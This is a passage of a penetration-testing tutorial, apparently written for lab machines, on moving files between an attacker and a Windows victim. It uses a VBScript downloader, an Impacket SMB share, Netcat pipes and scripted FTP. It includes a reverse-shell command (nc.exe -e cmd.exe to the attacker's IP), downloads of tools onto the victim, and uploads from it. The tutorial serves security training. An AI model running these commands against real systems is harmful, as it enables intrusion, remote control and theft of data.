&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Set&lt;/span> http &lt;span style="color:#f92672">=&lt;/span> CreateObject(&lt;span style="color:#e6db74">&amp;#34;WinHttp.WinHttpRequest.5.1&amp;#34;&lt;/span>) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">If&lt;/span> http &lt;span style="color:#f92672">Is&lt;/span> &lt;span style="color:#66d9ef">Nothing&lt;/span> &lt;span style="color:#66d9ef">Then&lt;/span> &lt;span style="color:#66d9ef">Set&lt;/span> http &lt;span style="color:#f92672">=&lt;/span> CreateObject(&lt;span style="color:#e6db74">&amp;#34;WinHttp.WinHttpRequest&amp;#34;&lt;/span>) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">If&lt;/span> http &lt;span style="color:#f92672">Is&lt;/span> &lt;span style="color:#66d9ef">Nothing&lt;/span> &lt;span style="color:#66d9ef">Then&lt;/span> &lt;span style="color:#66d9ef">Set&lt;/span> http &lt;span style="color:#f92672">=&lt;/span> CreateObject(&lt;span style="color:#e6db74">&amp;#34;MSXML2.ServerXMLHTTP&amp;#34;&lt;/span>) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">If&lt;/span> http &lt;span style="color:#f92672">Is&lt;/span> &lt;span style="color:#66d9ef">Nothing&lt;/span> &lt;span style="color:#66d9ef">Then&lt;/span> &lt;span style="color:#66d9ef">Set&lt;/span> http &lt;span style="color:#f92672">=&lt;/span> CreateObject(&lt;span style="color:#e6db74">&amp;#34;Microsoft.XMLHTTP&amp;#34;&lt;/span>) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo http.Open &lt;span style="color:#e6db74">&amp;#34;GET&amp;#34;&lt;/span>, strURL, &lt;span style="color:#66d9ef">False&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo http.Send &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo varByteArray &lt;span style="color:#f92672">=&lt;/span> http.ResponseBody &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Set&lt;/span> http &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">Nothing&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Set&lt;/span> fs &lt;span style="color:#f92672">=&lt;/span> CreateObject(&lt;span style="color:#e6db74">&amp;#34;Scripting.FileSystemObject&amp;#34;&lt;/span>) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Set&lt;/span> ts &lt;span style="color:#f92672">=&lt;/span> fs.CreateTextFile(StrFile, &lt;span style="color:#66d9ef">True&lt;/span>) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo strData &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo strBuffer &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">For&lt;/span> lngCounter &lt;span style="color:#f92672">=&lt;/span> 0 &lt;span style="color:#66d9ef">to&lt;/span> UBound(varByteArray) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo ts.Write Chr(255 &lt;span style="color:#f92672">And&lt;/span> Ascb(Midb(varByteArray,lngCounter &lt;span style="color:#f92672">+&lt;/span> 1, 1))) &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo &lt;span style="color:#66d9ef">Next&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo ts.Close &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> wget.vbs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Copy and pasting the code above will use the &lt;strong>echo&lt;/strong> command to create a file on the victim with the name &lt;strong>wget.vbs&lt;/strong>. This VBScript file can then be leveraged to download files over HTTP with the following command.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>cscript /nologo wget.vbs http://10.10.14.17/nc.exe nc.exe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="09.png" alt="&amp;ldquo;VBScript Method&amp;rdquo;">&lt;/p>
&lt;h2 id="smb">SMB&lt;/h2>
&lt;p>HTTP is a good way to get files from the attacking machine to the victim however there are other protocols and native utilities in Windows that can be leveraged to transfer files to and from the victim. SMB is such a protocol and is widely used within Windows environments. The protocol is usually blocked on edge firewalls so an initial foothold within the internal network is usually necessary to make use of SMB file transfers.&lt;/p>
&lt;p>To simulate an SMB server on Kali the very popular &lt;a href="https://github.com/CoreSecurity/impacket/">ImPacket&lt;/a> Python scripts from &lt;a href="https://www.coresecurity.com/">Core Security&lt;/a> can be used. The ImPacket scripts are installed by default but a more recent version can usually be found at the aforementioned GitHub link.&lt;/p>
&lt;p>Here the &lt;strong>ImPacket SMB server&lt;/strong> is prepared to listen for incoming connections on a share called &lt;strong>SHARE&lt;/strong> using the &lt;strong>~/how-to&lt;/strong> directory as the root directory for file sharing.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>python &lt;span style="color:#f92672">/&lt;/span>usr&lt;span style="color:#f92672">/&lt;/span>share&lt;span style="color:#f92672">/&lt;/span>doc&lt;span style="color:#f92672">/&lt;/span>python&lt;span style="color:#f92672">-&lt;/span>impacket&lt;span style="color:#f92672">/&lt;/span>examples&lt;span style="color:#f92672">/&lt;/span>smbserver&lt;span style="color:#f92672">.&lt;/span>py SHARE &lt;span style="color:#f92672">~/&lt;/span>how&lt;span style="color:#f92672">-&lt;/span>to&lt;span style="color:#f92672">/&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="10.png" alt="&amp;ldquo;Preparing ImPacket SMB Server&amp;rdquo;">&lt;/p>
&lt;p>The victim can now list the SMB share &lt;strong>SHARE&lt;/strong> on the attacking machine.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>net view &lt;span style="color:#ae81ff">\\&lt;/span>10.10.14.17
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="11.png" alt="&amp;ldquo;Listing the SMB Share&amp;rdquo;">&lt;/p>
&lt;p>Now that an SMB server is running on the attacking machine and the victim can see the share standard Windows command line utilities can be leveraged to view, up- and download files.&lt;/p>
&lt;p>Viewing available files on the SMB share.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dir &lt;span style="color:#ae81ff">\\&lt;/span>10.10.14.17&lt;span style="color:#ae81ff">\S&lt;/span>HARE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="12.png" alt="&amp;ldquo;View Files on SMB&amp;rdquo;">&lt;/p>
&lt;p>Downloading the &lt;strong>nc.exe&lt;/strong> file to the victim.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>copy &lt;span style="color:#ae81ff">\\&lt;/span>10.10.14.17&lt;span style="color:#ae81ff">\S&lt;/span>HARE&lt;span style="color:#ae81ff">\n&lt;/span>c.exe .
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="13.png" alt="&amp;ldquo;Download nc.exe Over SMB&amp;rdquo;">&lt;/p>
&lt;p>With SMB files can also be uploaded from the victim to the attacker.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>copy nc2.exe &lt;span style="color:#ae81ff">\\&lt;/span>10.10.14.17&lt;span style="color:#ae81ff">\S&lt;/span>HARE&lt;span style="color:#ae81ff">\n&lt;/span>c2.exe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="14.png" alt="&amp;ldquo;Upload nc2.exe Over SMB&amp;rdquo;">&lt;/p>
&lt;p>Verifying the file is indeed uploaded from the victim to the attacker.
&lt;img src="15.png" alt="&amp;ldquo;Verify nc2.exe File&amp;rdquo;">&lt;/p>
&lt;p>Executing files over SMB is also possible, to demonstrate this &lt;strong>nc.exe&lt;/strong> hosted on &lt;strong>SHARE&lt;/strong> on the attacking machine can be leveraged to establish a reverse shell. An &lt;strong>Ncat&lt;/strong> listener op port &lt;strong>4444&lt;/strong> is prepared on the attacking machine to catch the connection.
&lt;img src="16.png" alt="&amp;ldquo;Ncat Listener on Attacker&amp;rdquo;">&lt;/p>
&lt;p>Executing &lt;strong>nc.exe&lt;/strong> over SMB on the victim. Note that the executable is not copied to the victim but executed over SMB.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">\\&lt;/span>10.10.14.17&lt;span style="color:#ae81ff">\S&lt;/span>HARE&lt;span style="color:#ae81ff">\n&lt;/span>c.exe -nv 10.10.14.17 &lt;span style="color:#ae81ff">4444&lt;/span> -e cmd.exe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="17.png" alt="&amp;ldquo;Executing nc.exe Over SMB&amp;rdquo;">&lt;/p>
&lt;p>Catching the reverse connection on the attacker.
&lt;img src="18.png" alt="&amp;ldquo;Nc.exe Reverse Shell&amp;rdquo;">&lt;/p>
&lt;h2 id="netcat">Netcat&lt;/h2>
&lt;p>Thus far &lt;strong>Netcat&lt;/strong> has been used as an example file to be downloaded, uploaded and even executed over the network but &lt;strong>Netcat&lt;/strong> itself can also be leveraged to transfer files between victim and attacker. For this to work &lt;strong>Netcat&lt;/strong> has to be available on the victim machine.&lt;/p>
&lt;p>To transfer a file from the victim to the attacker &lt;strong>Ncat&lt;/strong> can be leveraged by piping input to a file. On the attacker an &lt;strong>Ncat&lt;/strong> listener should be prepared that outputs incoming traffic to a file. To achieve this the &lt;strong>&amp;gt;&lt;/strong> symbol can be used.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ncat -lvp &lt;span style="color:#ae81ff">80&lt;/span> &amp;gt; nc2.exe
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="19.png" alt="&amp;ldquo;Pipe Ncat to a File&amp;rdquo;">&lt;/p>
&lt;p>On the victim machine &lt;strong>Netcat&lt;/strong> can be used to pipe a file into &lt;strong>Netcat&lt;/strong> with the &lt;strong>&amp;lt;&lt;/strong> symbol. The &lt;strong>-w 15&lt;/strong> option means &lt;strong>Netcat&lt;/strong> waits for 15 seconds before closing the connection preventing your simple shell from hanging indefinitely. The bigger the file the more time it needs to transfer so adjust time accordingly.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nc -nv 10.10.14.17 &amp;lt; nc.exe -w &lt;span style="color:#ae81ff">15&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;img src="20.png" alt="&amp;ldquo;Pipe a File Into Netcat&amp;rdquo;">&lt;/p>
&lt;p>The victim will connect to the listener and transfer the file.
&lt;img src="21.png" alt="&amp;ldquo;Netcat File Transfer&amp;rdquo;">&lt;/p>
&lt;p>This neat trick also works the other way around by reversing the &lt;strong>&amp;gt;&lt;/strong> and &lt;strong>&amp;lt;&lt;/strong> symbol between attacker and victim. Edge firewalls can sometimes be evaded with this technique by using common ports such as &lt;strong>80&lt;/strong> and &lt;strong>443&lt;/strong>.&lt;/p>
&lt;h2 id="ftp">FTP&lt;/h2>
&lt;p>Most Windows versions old and new offer a command line &lt;strong>FTP&lt;/strong> client by default. This &lt;strong>FTP&lt;/strong> client can be leveraged to transfer files between victim and attacker. However, the &lt;strong>ftp.exe&lt;/strong> utility on Windows is an interactive program. To prevent a non-interactive reverse shell from hanging indefinitely an &lt;strong>FTP&lt;/strong> command file can be used.&lt;/p>
&lt;p>To transfer files over FTP an &lt;strong>FTP server&lt;/strong> that hosts files is also needed. Hosting an FTP server on Kali can be achieved with the &lt;strong>Pure-FTPd&lt;/strong> FTP server software. The Bash script below can be used to download and install the &lt;strong>Pure-FTPd&lt;/strong> software and configure it with an FTP user with the username &lt;strong>&amp;ldquo;ftp&amp;rdquo;&lt;/strong>, the password &lt;strong>&amp;ldquo;password&amp;rdquo;&lt;/strong> and a &lt;strong>/root/how-to/&lt;/strong> directory as the FTP root.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>apt-get update &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> apt-get install pure-ftpd -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>groupadd ftpgroup
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>useradd -g ftpgroup -d /dev/null -s /etc ftpuser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pure-pw useradd ftp -u ftpuser -d /root/how-to
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pure-pw mkdb
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cd /etc/pure-ftpd/auth/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ln -s ../conf/PureDB 60pdb
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p /root/how-to
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>chown -R ftpuser:ftpgroup /root/how-to/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/etc/init.d/pure-ftpd restart
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Now that the FTP server is setup and running an FTP command file is needed on the victim. This command file can be leveraged in conjunction with the FTP client software to automatically login to the FTP server and download &lt;strong>(GET)&lt;/strong> or upload &lt;strong>(PUT)&lt;/strong> a file within a non-interactive reverse shell.&lt;/p>
&lt;p>Creating the &lt;strong>ftp.txt&lt;/strong> command file can be done by copy and pasting the text below between attacker and victim terminals in the same way as the VBScript example discussed earlier. As with the VBScript example the &lt;strong>&amp;ldquo;echo&amp;rdquo;&lt;/strong> command will create the &lt;strong>ftp.txt&lt;/strong> command file on the victim after pasting.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5
&lt;/span>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>echo open 10.10.14.17&amp;gt; ftp.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo USER ftp&amp;gt;&amp;gt; ftp.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo password&amp;gt;&amp;gt; ftp.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo bin &amp;gt;&amp;gt; ftp.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo GET nc.exe &amp;gt;&amp;gt; ftp.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>echo bye &amp;gt;&amp;gt; ftp.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Now that the &lt;strong>ftp.txt&lt;/strong> command file is available on the victim it can be used to automate the download (or upload for that matter) with the following command.&lt;/p>
&lt;div class="highlight">&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;">&lt;tr>&lt;td style="vertical-align:top;padding:0;margin:0;border:0;">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code>&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ftp -v -n -s:ftp.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
